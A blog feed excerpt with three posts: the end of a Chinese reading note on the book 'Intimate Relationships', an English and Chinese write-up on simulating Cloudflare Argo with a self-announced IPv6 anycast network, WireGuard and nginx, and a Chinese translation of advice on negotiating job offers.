亲密关系中的满意度并不仅仅取决于交往结果绝对意义上的好坏,相反,满意度来自交往结果和比较水平之差,即:满意度 = 结果 — CL

相互依赖理论的另一个重要假设是,满意度并不是唯一的、甚至也不是决定亲密关系持续与否的最主要的影响因素。无论我们是否乐意,我们都会用到第二个标准,即替代的比较水平(comparison level for alternative,CLalt),来确定我们在其他的亲密关系中是否会更好。CLalt 是指如果我们抛弃目前的亲密关系,而转投可以选择的更好的伴侣或情境,所能得到的交往结果。所以,CLalt 决定了我们对亲密关系的依赖程度。依赖度 = 结果 - CLalt

从上文的模型中,我们可以很快的了解到,如果丈夫在外工作妻子在家带娃会有以下问题:

首先双方收入不平衡带来的显式的不平等,这样将可能带来权利分配的不一(显然,有收入者掌握了更大话语权),来源是 《亲密关系》P377,同时可以参考书的第 12 章。

此外,在外工作的一方会有更大的概率接触到更为优秀的 “替代对象”(CLalt 便会上升),而未工作的一方则没有相关的机会。而正因为未工作的一方消息来源会受到一些限制,从书中结合到我个人的观察来看,还会导致以下后果:

  • 由于这个社会是娱乐化的(见《娱乐致死》),由于未参加工作,平均工作量的下降导致了空闲时间的增多,大量的低价值信息(比如 WeChat 某些公众号)的涌入,加上各类短小视频的垃圾(但是可以有效吸引人们注意力的)内容便容易占据空闲时间,让其陷入心里舒适区——对外表现出来的也就是坐在沙发上长时间关注各类无聊资讯。

  • 此外,还是由于以上原因,对于已工作的一方,由于可以确定的 CL alt 的增加,未工作者更加容易产生一些相关的怀疑和猜忌——也就是我们看到的所谓 “查岗” 的行为。

  • 从周边的观察来看,“查岗” 这一点在学生时期似乎尤为常见,相关的表现形式为:共享 QQ/微信密码之类,见到因为和对方吵架而劫持对方 QQ 号删好友的比比皆是…

而且这种由 CL 和 CLalt 所带来的第一副作用具有 “遗传性”,具有相关特性的父母的子女也有可能习得相关的 “做事习惯”,这样易造成对下一代的不良影响。

疑虑型人

另一个从本书中看到的比较有收获的在于对「疑虑型人」的描述,一般来说在伴侣双方适配的差距下,且尤其是处于弱势的伴侣变有可能有如下认为:

  • 其他人更加适合自己的爱人
  • 感觉到自己由于能力不足且依赖亲密关系而认为——需要自己的伴侣又担心不够优秀而无法留住伴侣

其他

以下是一些简要的摘抄:

如果人们处于紧张状态,只要心中能想到支持自己的朋友,一般就能降低心率和血压。

一般而言,拒绝会使人进入心理倦怠状态,阻碍人们进行缜密的思维和理性的计划。

人们喜好新异和兴奋,过分呆板僵化的可预测性会使爱情变得平庸和单调。

大的动乱和剧变后可能会因为迫于分开的压力,而使双方重新思考他们的习惯,以达到结构性改善的效果。


以上,便是个人一些对于《亲密关系》一书的小结,由于撰写本文后半部时,已经将书赠予他人,可能会有一些细节上的遗忘,导致了文章的单调性,这一点请读者谅解。

个人感觉本书带给我的严谨的态度是最吸引我的一点,同时我也相信在阅读过本书后,书中的一些知识可以在未来有所需要的时候给予我一些理论上的支持和帮助。

Reference

  1. 第六章相互依赖- 读书笔记- 亲密关系- 豆瓣
]]>
Simulate Argo——Building an IPv6 AnyCast Network Behind Cloudflarehttps://nova.moe/simulate-argo-using-anycast-network-behind-cloudflare-en/Thu, 16 Jan 2020 23:50:45 +0000https://nova.moe/simulate-argo-using-anycast-network-behind-cloudflare-en/

When a person is poor, they come up with many clever ideas.

As you may know, this blog primarily uses Cloudflare as a CDN, which allows us to configure some Page Rules to reduce the load on the origin server, as well as hide the origin server’s address. Additionally, Cloudflare provides DDoS protection.

Anycast IP

We know that DDoS attacks, as a rather dirty method, are not easily defended against in principle. They can mostly be addressed by upgrading hardware and increasing bandwidth. However, Cloudflare’s approach to handling DDoS attacks is quite unique. Part of the reason is that their edge node IP addresses are Anycast IPs. You might be wondering, what is an Anycast IP?

In simple terms, it means that the same IP address exists in various locations around the world, and hosts from around the world access the nearest (lowest latency) host that announces that same IP.

After learning about computer networks, we understand a simple principle: “IP addresses are unique addresses for hosts on the Internet.” When we “ping an IP address of a host in the United States,” ICMP packets go through routing protocols and various routes, eventually reaching the destination host. Much of the network latency incurred in this process is due to distance, or in other words, due to the limitation imposed by the speed of light. Therefore, there will inevitably be over 100ms of latency between China and the United States. For example, the latency to reach a Vultr data center in Japan from various parts of the world might be as follows:

JP Ping

But if you are a Cloudflare customer, you might notice that the latency to your site is like this:

CF Ping

Do you notice that the latency to the same IP address from many cities is very low? This is the charm of Anycast. If you want to learn more about Cloudflare Anycast, you can refer to A Brief Primer on Anycast and What is Anycast? How does Anycast Work?.

Thanks to the Anycast network and our foundation in “computer network basics,” even DDoS attacks follow the basic rules. So, the DDoS attack pattern changes from multiple points to one point, and it becomes multiple points to multiple points. This way, the traffic is distributed, and the load on each node is greatly reduced.

Cloudflare Working Principles

With the knowledge mentioned above, it’s easy to think about one question: How does Cloudflare perform origin fetching with so many IP addresses? From the article “A Brief Primer on Cloudflare Warp and Whether It Exposes Visitor’s Real IP,” we can draw the following two conclusions:

  1. Typically, Cloudflare fetches the origin from the data center hit by the visitor.
  2. With Argo enabled, Cloudflare fetches the origin from the Cloudflare data center it considers closest and fastest to your origin server’s IP.

If these two conclusions are hard to grasp, let’s simplify with two conditions. Suppose my blog is in France (let’s say it resolves to origin.nova.moe), and you are a visitor from mainland China. Suppose Cloudflare uses Nginx in the current network environment:

  1. In general, you will access Cloudflare’s San Jose node in the western United States, and the Nginx on the San Jose node will proxy_pass https://origin.nova.moe;. It’s simple, right? But this is “public network fetching.”
  2. If you have Argo enabled, you will still access Cloudflare’s San Jose node in the western United States. However, at this point, Cloudflare realizes that our origin server is very close to the Paris node, so it forwards the request to the machine in Paris, using proxy_pass https://origin.nova.moe;.

With Argo enabled, because origin fetching traffic takes a significant part of the route through Cloudflare’s various public network tunnels, the routing path should be more controlled by Cloudflare. In some cases, this can reduce detours, and in simple terms, the speed should be faster. Cloudflare’s official promotional image is as follows:

CF Argo

For more detailed comparisons of Argo, you can refer to Guo Zeyu’s “Cloudflare Argo vs. Railgun Comparative Testing, CDN Acceleration Technology.”

Implementing Your Own Argo-Like Network

With Cloudflare for free users being “public network fetching” and understanding how Argo works, you might wonder: Can I build something similar myself?

Continuing with the previous example, my blog is in France, and mainland Chinese visitors access Cloudflare, which results in “public network fetching” from the western United States to France. If you happen to have a machine in the western United States, you can consider establishing a tunnel from the western United States to France. Then, configure the traffic from the western United States to be reverse proxied to the other end of the tunnel on your machine in the western United States. This achieves a similar effect.

The first problem we need to solve is: How to get Cloudflare’s traffic into your network as quickly as possible.

DNS Round Robin

Consider a scenario where we have an origin server in France (A) and two servers in the United States and the Netherlands (B and C). We configure B and C to reverse proxy to A and add two Cloudflare A records for resolution (with CDN enabled) to the IP addresses of B and C. Will this work?

The answer is no because, from a DNS perspective, it appears as though there are two resolutions, but the weights of these two resolutions do not change with changing source IP addresses. Therefore, it is still possible for a mainland Chinese visitor to access the San Jose node and resolve to C, resulting in public network fetching from the Netherlands.

Anycast

So, how can we ensure that traffic enters our network as quickly as possible? The answer is Anycast.

We still have the origin server in France (A) and two servers in the United States and the Netherlands (B and C). Both B and C announce the same IP address (let’s assume it’s 10.10.10.10). Now, we only need to add an A record resolution (with CDN enabled) to 10.10.10.10.

Since Cloudflare’s origin servers are also standard servers that follow basic routing rules, when a mainland Chinese visitor accesses the San Jose node, it will directly reverse proxy to the IP address 10.10.10.10. However, because this IP is also announced in the western United States, the packets will be routed to the server located in the western United States, effectively entering our network.

First Practical Implementation

As a “prem

ier CDN service provider” for Halo (just kidding), I have my own ASN and a small block of IPv6 addresses. In the first experiment, I announced the same IPv6 address (xxxx:xxxx:xxxx::1, don’t ask why it looks so strange, I wonder too) in the western United States and the Netherlands. The latency to this IP address appears as follows:

NN Ping

From the graph, we can see that the latency in San Francisco and Amsterdam is approximately 2.4 ms and 1.7 ms, respectively. So, we can consider this a successful Anycast.

Next, with the support of the global intranet established by Wireguard, all three hosts (A, B, and C) are on the same 192.168.1.0/24 internal network. These three hosts can directly ping each other, and the corresponding latency is as follows:

  • B -> A (United States -> France) (I don’t know why the first packet always has a small delay, hoping readers can point it out.)

    root@B:~# ping 192.168.1.5
    PING 192.168.1.5 (192.168.1.5) 56(84) bytes of data.
    64 bytes from 192.168.1.5: icmp_seq=1 ttl=64 time=308 ms
    64 bytes from 192.168.1.5: icmp_seq=2 ttl=64 time=153 ms
    64 bytes from 192.168.1.5: icmp_seq=3 ttl=64 time=153 ms
    64 bytes from 192.168.1.5: icmp_seq=4 ttl=64 time=153 ms
    64 bytes from 192.168.1.5: icmp_seq=5 ttl=64 time=153 ms
    ^C
    --- 192.168.1.5 ping statistics ---
    5 packets transmitted, 5 received, 0% packet loss, time 3999ms
    rtt min/avg/max/mdev = 153.089/184.173/308.162/61.996 ms
    
  • C -> A (Netherlands -> France)

    root@C:~# ping 192.168.1.5
    PING 192.168.1.5 (192.168.1.5) 56(84) bytes of data.
    64 bytes from 192.168.1.5: icmp_seq=1 ttl=64 time=1.28 ms
    64 bytes from 192.168.1.5: icmp_seq=2 ttl=64 time=1.17 ms
    64 bytes from 192.168.1.5: icmp_seq=3 ttl=64 time=1.32 ms
    64 bytes from 192.168.1.5: icmp_seq=4 ttl=64 time=1.31 ms
    ^C
    --- 192.168.1.5 ping statistics ---
    4 packets transmitted, 4 received, 0% packet loss, time 3004ms
    rtt min/avg/max/mdev = 1.176/1.274/1.327/0.068 ms
    

Now, we just need to share the Nginx configuration files between B and C. For now, we’re using NFS for sharing. The proxy_pass part of the configuration looks something like this:

location / {
    proxy_pass https://192.168.1.5;
    proxy_set_header Host $host;
}

Finally, for the Cloudflare part, create a AAAA record that doesn’t enable CDN, such as secret.nova.moe, pointing to your own IPv6 address.

AAAA Resolve

Then, create a corresponding CNAME record, such as halo.nova.moe, resolving to secret.nova.moe, and enable CDN.

CNAME Resolve

This way, you can allow IPv4 users to access your IPv6 site and still utilize Cloudflare’s CDN. This operation is truly magical.

Here’s a rough network diagram:

Anycast Behind Cloudflare

Benefits of Doing This

Mainly, it’s for fun. Secondarily, as a “premier CDN service provider” for Halo (just kidding again), you can see from the Halo JAR package mirror I host that the TTFB (Time to First Byte) has decreased by an average of around 40%.

Before Anycast:

Before Anycast

After implementing Anycast:

After Anycast

As for why the TTFB is still quite high, I suspect it’s related to DigitalOcean’s Spaces. Let’s focus on the improvement in comparison.

Afterword

In this article, we used Anycast IPv6 to allow more traffic to enter “our network,” where we have more control and room for operation on our PoP. This creates an effect similar to Argo.

A not-so-appropriate example: Imagine that in the original situation, there are a large number of people worldwide downloading/uploading from their machines, and the traffic far exceeds the service provider’s 200Mbps (assuming). Cloudflare can easily forward traffic, but with only one origin server, there can be bandwidth problems. In this situation, having multiple PoPs allows us to fetch from other origin servers we control, reducing the load on a single origin server. Of course, in such a situation, the best solution is to use load balancing and upgrade the bandwidth.

References

  1. IP Broadcasting: Using Bird to Broadcast (Multicast) IPv6
  2. Argo Smart Routing
  3. What is Anycast? How does Anycast Work?
  4. Cloudflare Argo vs. Railgun Comparative Testing, CDN Acceleration Technology
]]>
搭建 Cloudflare 背后的 IPv6 AnyCast 网络https://nova.moe/simulate-argo-using-anycast-network-behind-cloudflare/Thu, 16 Jan 2020 23:40:45 +0000https://nova.moe/simulate-argo-using-anycast-network-behind-cloudflare/

人一穷,鬼点子就特别多。

大家应该知道,本博客使用了 Cloudflare 作为主要的 CDN,可以配置一些 Page Rules 来减轻源站压力,同时隐藏源站地址啥的,此外,Cloudflare 还可以做到防止 DDoS 的效果。

Anycast IP

我们知道,DDoS 作为一个比较 dirty 的攻击手段,从原理上其实并不是很好防御,基本只能通过升级硬件,加大带宽的方式处理,而 Cloudflare 处理 DDoS 的方式比较特别,部分原因是因为他们的边缘节点 IP 是 Anycast IP,这里可能有同学会问了,什么是 Anycast IP?

简单来说,就是同一个 IP 出现在了世界各地,世界各地的主机都是访问到了离自己最近(延迟最低)的主机所宣告的那个相同 IP。

在我们学习了计算机网络之后,我们知道了一个比较容易理解的道理:「IP 地址在互联网上是一台主机唯一的地址」,这样当我们「ping 美国一台主机的 IP」的时候,ICMP 包会通过路由协议,走各种线路,最终到达目的主机,而其中产生的网络延迟很大一部分就是由于距离所导致的,或者说,由于光速也就那样了,所以中美之间肯定会有 100+ms 的延迟,例如,从世界各地到达日本 Vultr 机房的延迟可能如下:

但是如果你是 Cloudflare 的客户的话,你可能会发现追踪到你站点的延迟如下:

是不是发现许多城市到达同一个 IP 的延迟都非常低?这个就是 Anycast 的魅力了,想要了解更多关于 Cloudflare Anycast 的细节,可以参考 A Brief Primer on AnycastWhat is Anycast? How does Anycast Work?

由于有了 Anycast 网络和「计算机网络基础」的铺垫,即使是 DDoS 的攻击,数据包的行径也是要根据基本法,所以 DDoS 的模式从之前的多点对一点变成了多点对多点,这样流量就被分散掉了,每个节点上的压力就会小了很多。

Cloudflare 工作原理

在有了上述知识铺垫之后我们很容易就可以想到一个问题——Cloudflare 有那么多的 IP,那么它是如何回源的,从 「关于 Cloudflare Warp 的一些细节以及是否暴露访客真实 IP 的测试」一文中我们可以知道以下两个结论:

  • 一般的,Cloudflare 回源的方式是由访客命中的数据中心进行回源
  • 开启 Argo 之后,Cloudflare 由它认为距离你源站 IP 最近最快的 Cloudflare 数据中心回源

如果上述两个结论不好理解的话,我们带入两个条件来方便大家理解,假设我的博客在法国(假设解析为 origin.nova.moe),你是一个大陆访客,假设 Cloudflare 使用的 Nginx,在目前网络环境下:

  • 一般的,你会访问到 Cloudflare 位于美西的 San Jose 节点,然后 San Jose 节点上的 Nginx 就 proxy_pass https://origin.nova.moe; 了,很简单是不是?但是这样就是「公网回源」
  • 如果你有 Argo,你还是会访问到 Cloudflare 位于美西的 San Jose 节点,但是这个时候 Cloudflare 会发现我们的源站和 Paris 的节点距离很近,就会将请求转发到 Cloudflare 位于 Paris 的机器上 proxy_pass https://origin.nova.moe;

开了 Argo 之后由于回源流量会有很大一段不经过公网(而是 Cloudflare 的各种公网隧道),所以理论上说路由路径更多地受到 Cloudflare 管控,在某些时候可以减少绕路,简单来说,速度应该会快一些,Cloudflare 官方宣传图如下:

更多详细的 Argo 对比可以参考郭泽宇的「Cloudflare Argo 与 Railgun 对比测试,CDN 加速的黑科技」。

自己实现类似 Argo 的网络

我们知道 Cloudflare 对于免费用户来说是公网回源,同时知道 Argo 的工作原理之后,就会想到一个问题——我能不能自己建立一个类似的玩意呢?

还是刚刚那个例子,我的博客在法国,大陆用户访问 Cloudflare 之后会从美西公网回源到法国,如果你正好有一个美西的机器,就可以考虑建立一个美西到法国的隧道,然后考虑让美西的流量走到自己美西的机器上反代隧道另一端的主机,也就做到了类似的效果。

我们要解决的第一个问题是:如何让 Cloudflare 的流量尽快进入自己的网络。

DNS 轮询

考虑一个情况,我们有源站法国 A,和两台分别位于美国,荷兰的主机 B、C,在 B 和 C 上配置反向代理到 A,并且添加两个 Cloudflare A 记录解析(并开启 CDN)到 B、C 主机的 IP 是否可以?

答案是不可以,因为 DNS 层面看上去有两条解析,但是这两条解析的权重并不会随着来源 IP 的改变而改变,所以还是有可能会出现大陆访客访问到 San Jose 节点后正好解析到了 C 主机,公网回源到位于荷兰的 C 主机后 C 主机回源 A 的情况发生。

Anycast

如何保证流量尽快进入自己的网络呢?答案就是 Anycast。

我们还是有法国源站 A,和两台分别位于美国,荷兰的主机 B、C,且 B、C 宣告了相同的 IP 地址(假设为 10.10.10.10),这时,我们只需要添加一个 A 记录解析(并且开启 CDN)到 10.10.10.10 就可以了。

由于 Cloudflare 回源的机器也是一台很正常的服务器(路由也遵循基本法),这样当大陆访客访问到 San Jose 节点的时候,他会直接反向代理到对应 IP 10.10.10.10 ,但是由于这个 IP 在美西也进行了宣告,所以数据包会被路由到位于美西的主机上,也就做到了进入了自己的网络的情况。

第一个实践

作为 Halo 的金牌 CDN 服务商,我自己持有一个 ASN 和一小段 IPv6 地址,在第一次实验中,我在美西和荷兰两个地方宣告了同一个 IPv6 地址(xxxx:xxxx:xxxx::1,别问这 IP 为啥看上去这么奇怪,我也是这么认为的),所以在延迟上,这个 IP 看上去是这样的:

从图中我们可以看到,在 San Francisco 和 Amsterdam 两点的延迟分别为:2.4 ms 和 1.7 ms,所以我们可以认为这是一个成功的 Anycast。

接下来,在由 Wireguard 建立起来的全球大内网的加持下,A,B,C 三台主机全部位于一个 192.168.1.0/24 的内网下,三台主机之间可以直接 ping 通,对应延迟如下:

  • B -> A(美西 -> 法国)(不知道为啥第一个包总是抖一下,还望读者指出)

    root@B:~# ping 192.168.1.5
    PING 192.168.1.5 (192.168.1.5) 56(84) bytes of data.
    64 bytes from 192.168.1.5: icmp_seq=1 ttl=64 time=308 ms
    64 bytes from 192.168.1.5: icmp_seq=2 ttl=64 time=153 ms
    64 bytes from 192.168.1.5: icmp_seq=3 ttl=64 time=153 ms
    64 bytes from 192.168.1.5: icmp_seq=4 ttl=64 time=153 ms
    64 bytes from 192.168.1.5: icmp_seq=5 ttl=64 time=153 ms
    ^C
    --- 192.168.1.5 ping statistics ---
    5 packets transmitted, 5 received, 0% packet loss, time 3999ms
    rtt min/avg/max/mdev = 153.089/184.173/308.162/61.996 ms
    
  • C -> A (荷兰 -> 法国)

    root@C:~# ping 192.168.1.5
    PING 192.168.1.5 (192.168.1.5) 56(84) bytes of data.
    64 bytes from 192.168.1.5: icmp_seq=1 ttl=64 time=1.28 ms
    64 bytes from 192.168.1.5: icmp_seq=2 ttl=64 time=1.17 ms
    64 bytes from 192.168.1.5: icmp_seq=3 ttl=64 time=1.32 ms
    64 bytes from 192.168.1.5: icmp_seq=4 ttl=64 time=1.31 ms
    ^C
    --- 192.168.1.5 ping statistics ---
    4 packets transmitted, 4 received, 0% packet loss, time 3004ms
    rtt min/avg/max/mdev = 1.176/1.274/1.327/0.068 ms
    

好了,接下来就在 B 和 C 上共享一波 Nginx 配置文件就好了,暂时使用的 NFS 的方式共享,proxy_pass 部分内容最简写法大致如下:

location /{
	proxy_pass https://192.168.1.5;
	proxy_set_header Host $host;
}

最后 Cloudflare 部分我们这样做,先创建一个不开启 CDN 的 AAAA 解析,比如叫 secret.nova.moe 到自己的 IPv6 地址。

然后创建对应的 CNAME 解析,比如 halo.nova.moe 解析到 secret.nova.moe 并开启 CDN。

这样既可以让 IPv4 用户访问到自己的 IPv6 站点,还可以使用到 Cloudflare 的 CDN,这个操作真的很神奇~

最后网络结构图大概如下:

这么做有什么好处

主要是好玩,其次,作为 Halo 的金牌 CDN 服务商,从我托管的 Halo JAR 包镜像中可以看出,TTFB 平均减少了 40% 左右。

在这样之前,公网回源法国:

在有了 Anycast 之后:

至于为啥 TTFB 都很大,我怀疑这个与 DigitalOcean 的 Space 有关,我们只看对比差距就是了。

后记

在本文中,我们使用 Anycast IPv6 来实现让更多的流量进入「自己的网络」,然后在我们的 PoP 上可以有更多的限制和操作的空间,形成了一个类似 Argo 的效果。

一个不恰当的例子:试想,在原始的情况下,在世界各地都有大量的人从自己的机器上下载/上传,流量远大于服务商的 200Mbps(假设),Cloudflare 倒是可以很轻易地将流量转发过来,但是在只有一个源站的情况下,就会在带宽上出现问题,这个时候我们多个 PoP 就可以回源到自己的其他源站上,减少一个源站收到的压力。当然了,都这种时候了最佳方案其实还是加 LB 和升级带宽啦。

Reference

  1. IP 广播: 使用bird广播(组播)ipv6
  2. Argo Smart Routing
  3. What is Anycast? How does Anycast Work?
  4. Cloudflare Argo 与 Railgun 对比测试,CDN 加速的黑科技
]]>
如何正确地谈 Offerhttps://nova.moe/translate-how-not-to-bomb-your-offer-negotiation/Mon, 06 Jan 2020 15:51:32 +0000https://nova.moe/translate-how-not-to-bomb-your-offer-negotiation/本文是对 Haseeb Qureshi 文章「How not to bomb your offer negotiation」的翻译,基于 @lietoumai 的翻译版本「谈Offer十法 -下篇(Ten Rules for Negotiating a Job Offer) #13」,并已经取得了原翻译者的同意,同时加入了大量修改。


所以你已经搞定了面试那一块。你已经和其他公司的对手进行了竞争。现在是进入实质谈 Offer 的时候了。

自然,接下来也是是最容易出差错的部分。

但是不要慌张,接下去我要谈论最后几个法则,诸位请听我一言。

怎样成为一个好的谈判者

大多数人认为谈薪资很容易,只是看着对方的眼睛,表现得自信,然后开口要很多的钱就好了。但做一个好的谈判者要比这微妙的多。

好的谈判者是怎样的?

你可能有一个朋友或家人,因为拒绝妥协而臭名昭著。这样的人会打开淘宝,为了自己刚买的衣服上的一个线头和卖家争吵很长时间,直到他们得到一笔退款或者退货。

这个人似乎经常得到他们想要的东西。他们让你畏缩,但也许你应该试着更像他们。

放心吧,这个人实际上是一个糟糕的谈判者。他们擅长于困难和场景,有时可以说服女服务员或轮班经理来安抚他们。但这种谈判风格会让你在与商业伙伴 (即雇主) 谈判时一无所获。

一个好的谈判者具有同理心。他们不会试图控制你或逼你做决定。相反,他们试图创造性地思考如何满足你和他们的需求。

所以当你有一个 Offer 并准备开始谈薪资的时候,不要把这个想象成在出售自己的二手车那样和别人讨价还价,而是应该像和朋友一起出去吃饭那样讨论,这样会变得更好。

切蛋糕一样

好的谈判者和坏的谈判者之间另一个重要区别是,糟糕的谈判者倾向于认为谈判是一场零和博弈。

想象一下,我们正在协商切蛋糕。在零和谈判中,如果我多得到一块,你就少了一块。我赚的任何一笔钱都是以你的损失为代价的。

这在切蛋糕上很明显,对吧?但是谈 Offer 和切蛋糕之间的区别是什么呢?

啊,其实切蛋糕不是这样的(零和博弈)。如果我讨厌角落的渣渣,你会喜欢他们么?如果我喜欢樱桃呢?如果下次我饱了,你饿了,你会同意下次给我吃我最喜欢的蛋糕吗?当然,当我提出这个问题时,我没有提到任何关于樱桃或角落那块渣渣的感觉。这看起来好像是我编造出来的。

但这正是好的谈判者所做的。他们弯曲规则。他们质疑假设,问一些意想不到的问题。他们挖掘每个人的价值观,寻找创造性的方法来拓宽谈判的领域。

当你在思考如何在切片上讨价还价的时候,我正在考虑如何给我们两个以上的蛋糕。

谈判中的几乎每个部分都有其对应的价值。我们可能会珍视同样的东西 —— 毕竟我们都关心蛋糕。但我们并不以完全相同的方式来评价他们,所以可能有一种方法可以给我们每个人更多的我们想要的。

大多数人参加工作谈判时,认为他们需要在薪水上顽固地讨价还价,就像蛋糕一样。他们永远不会停下来问,我到底值多少钱?我为什么看重它?公司的价值是什么?为什么他们重视这个?谈 Offer 包括很多方面:

  • 基础工资
  • 签字费
  • 股票/期权
  • 年终绩效或奖金
  • 交通补贴
  • 搬家费
  • 弹性工作时间
  • 公司内部的设施以及是否发放办公设备
  • 额外的假期

你可以选择你被分配到哪个团队,你的第一个项目是什么,你将使用什么技术,有时甚至选择你的职位(定级)。

可能你是一个喜欢吃甜品的人,公司这个蛋糕可以给你提供更多的樱桃,如果你不问的话可能就永远不知道。

保持这样的想法,OK。

让我们来决定离开谈判桌。反正所有的报价都摆在这里了,招聘人员会急切地等着你的回复。

让我们开始谈薪资吧。

电话 VS 邮件

你的第一个决定是,你想通过邮件还是电话谈?

在电话里交谈不仅能显示出你的自信,更重要的是,它能让你和招聘人员建立起牢固的关系。

最好的交易是在朋友间达成的。通过电子邮件交朋友很难,在电话里交谈可以让人开玩笑,讲笑话,建立联系。你希望你的招聘人员喜欢你,理解你,同情你。你希望他们希望你成功。同样,你也要关心你的招聘人员,了解他们的动机。

然而,如果你对自己的谈判技巧没有信心,你应该努力把谈判引向电子邮件。书面的,异步的交流将给你更多的时间来制定战略,让你更容易在不被招聘人员的压力下说你不愿意说的,或者作出你不愿意的决定。

话虽如此,招聘人员总喜欢打电话给你。这是他们的地盘。他们也很清楚,用电话和你谈 Offer 比电子邮件更容易,而且他们也并不想让你放松。他们通常会对电子邮件的报价含糊其辞,只会在电话上讨论具体细节。

如果你坚持想要通电子邮件,你必须告诉他们。这并没有什么不可以的:诚实地表达你想要什么。

告诉他们:

Hi HR,你好! 我更喜欢在邮件中讨论 Offer 的细节。在重要的电话中,我有时会感到紧张,所以通过电子邮件讨论有助于我保持清醒的头脑,更清晰地沟通。我希望你能接受。:)

简洁明了,没有废话,也没有客套。直截且诚实地表达你想要什么。

诚实和坦率有巨大的力量。利用它。

(另外,注意我是如何写 “讨论 Offer 的细节” 而不是 “谈判”。永远不要把你所做的事情描述为谈判 —— 这听起来很快就会发生对抗和讨价还价。把它描述为一场讨论吧,这样他们不太可能退却。)

有替代方案

我之前提到过,多拿 Offer 是多么重要。我再一次重申,有多个 Offer 是非常非常有价值的。

如果你们没有谈成,他们知道你会接受另一个 Offer。你的谈判立场突然变得更加可信,因为他们知道你并不一定会接受他们的 Offer。

如果你拿到一家有声望的公司的 Offer,这种效果会得到加强。如果你从一家公司的主要竞争对手那里得到了一个 Offer (那现在他们可能真的很想从这个大的竞争对手那里挖走你),那么这种影响就会自然而然的发生。

有些行为是愚蠢的部落主义。在试图抢夺竞争对手的人才方面,其中的一些是理性的。不管是哪一种,都要充分利用它,并在你所瞄准的公司中采取战术。

但是,如果你手上并没有其他的 Offer 的话该怎么办呢?难道完全没有谈的余地的吗?

不。这里重要的并不是其他 Offer。更具体地说,你需要的是其他强大的备选方案。

谈 Offer 需要筹码。如果没有风险并且你知道对方会签合同,你会用什么来激励来他们会你提供更多?

你的替代 Offer 就是你谈判的筹码。通过暗示你有别的备选方案,你就让你的对话者建立一个关于何时以及为什么你可能会不接他们 Offer 的心理模型。你的选择也会对对方对你的客观价值有一个锚定效应。(比如有些 HR 可能会问:目前手里几个 Offer 了,他们开的价格是多少?)

在谈判艺术中,你最好的备选方案通常被称为你的 BATNA (最好的替代协议,Best Alternative to a Negotiated Agreement)。也就是说,如果你没有接受这个 Offer 的话会做什么。

我很喜欢 “BATNA” 这个词,主要是因为它听起来像一个小玩意,就像蝙蝠侠会在吊打坏人的时候使用。

那么,如果你没有其他的 Offer,你的 BATNA 是什么?你有吗?你当然有。你最好的选择可能是:

  • 去更多的公司面试
  • 读研
  • 在摩洛哥呆上几个月

这里的重点是,一个强大的 BATNA 并不一定需要另一个 Offer 来达到,你的 BATNA 力量来自于:

  • 另一方能多大程度地感知到它
  • 你认为它有多强大

如果你的招聘人员认为读研究生是一件了不起的事情,那么他们会认为你有很强的选择,而且谈判的风险也会增加。即使他们认为研究生院很荒谬 —— 但是如果你说服他们你很乐意去读研究生,那么他们就会尝试让他们的 Offer 对你更有吸引力,而不是放弃你,让你去读研。

因此,你需要传达你的 BATNA。这不一定是一记空手而已,但您需要将其作为谈判的背景。 (注意:通常每当你对他们发出信号,你也应该重新强调你有兴趣达成协议)。

举个栗子:

目前我手里还有另一份来自 XX 司的 offer,这对薪水很有吸引力,但我真的很喜欢贵司的使命,认为这对我来说是一个更好的选择。

同时我还在考虑是否要回去读研,获得硕士学位。我对贵司给的 Offer 感到很兴奋,尽管我很想加入这个团队,但如果我要放弃旧的生活重新开始,我的选择必须得有意义。

请注意:我在这里看到的最大的错误之一,就是那些正在工作的人以为自己没有 BATNA。如果你已经有了一份工作,你最大的 BATNA 就是待在目前的公司。

这也就意味着如果你告诉你 HR 说你讨厌你的工作,那么他们会知道你的 BATNA 很糟糕,而且没有动力去和你谈 (基于他们认为你是一个消极的人的基础上)。所以,必须总是强调你当前公司的优点,你的资历,你的影响力,以及你目前工作的其他方面。

你应该让你的决定看起来像一个真正困难的决定 —— 然后它将看起来才会是一个强大的 BATNA。

对一个雇主来说,谈 Offer 意味着什么

我一直在说,为了成为一个有效的谈判者,你需要了解对方。所以让我们来看看作为一个雇主,谈 Offer 是什么样的。(在我的例子中,我将不得用软件行业举例子,但细节会因行业而异。)

首先我们来看一下公司为了找到一个合适的候选人,前期投入是什么:

  • 在所有适当的渠道撰写并张贴职位描述 (300 美元)
  • 审阅~100 份或更多简历 (1,250 美元)
  • 大约 15% 的简历需要简单地电话面试一下,成为初选候选人 (2250 美元)
  • 大约 75% 的初选候选人需要进行技术面试 (9000 美元)
  • 大约 30% 的人会技术面试通过并到场面试,所以大约有 3 个现场。这需要协调 6 - 7 名员工 (10800 美元)
  • 最后,他们发了一个 Offer。招聘人员 (可能是行政人员) 需要花时间在电话上与受要约人说服和谈判。(900 美元)

以上统计来源是:What is the average cost of recruiting an engineer in Silicon Valley?

整个过程从开始到结束大约需要 45 天。

现在说你最终拒绝了他们的 Offer。他们花了超过 24000 美元,只是把这个 Offer 给了你 (更不用说机会成本了),现在他们基本上要从头开始了。

如果你拒绝了,这就是公司面临的问题。

意识到他们经历了多么大的挑战!意识到你对他们来说是多么的重要!

通过查阅,筛选了那么多份简历和邮件,花了那么长时间,他们终于发现你就是他们想要的。他们想让你进入他们的公司。他们废了那么多口舌把你弄到这儿来,现在他们找到你了。

你会担心如果你谈 Offer 的时候他们会把你拒了?

此外,你需要明白,薪水只是雇佣你的成本的一部分。雇主还必须支付你的福利,你的设备,办公室开支,还有其他的随机开支,以及所有这些的雇佣税。全部的,你的实际工资通常包括少于 50% 的雇佣成本。

这意味着他们期望你对公司的价值 —— 从你的产出来看 —— 要超过了你的工资的两倍。如果他们不相信这一点,那他们根本就不会雇用你。

所以,这就是说:其实所有的一切都对你有利。虽然可能你感觉不是这样,但事实绝对是这样。

你需要意识到,当你在苦苦挣扎是否要再每个月多要几千美元时,他们只是在祈祷,宝贝,赶紧把 Offer 签了吧。

如果你不签,他们就输了。损失一个好的人选会很心塞。没人愿意去相信他们的公司不值得加入。

他们想要赢。他们会为了得到你而去支付他们所能支付的。

当然,你可能还会担心:如果最后我去要了更多,会不会提高他们的期望,未来老板会不会恨我讨价还价?

当然不会!

你的岗位决定了你的业绩(产出),这一点不是你的工资决定的,多要或者少要 5K 对于你上司来说根本不重要,他们也完全不在乎。

从一开始就得记住,就雇用你是多么的昂贵!没有人会因为你的表现不符合你多要的 5K 就把你开了。解雇你和雇佣别人的成本远远超过 5K。

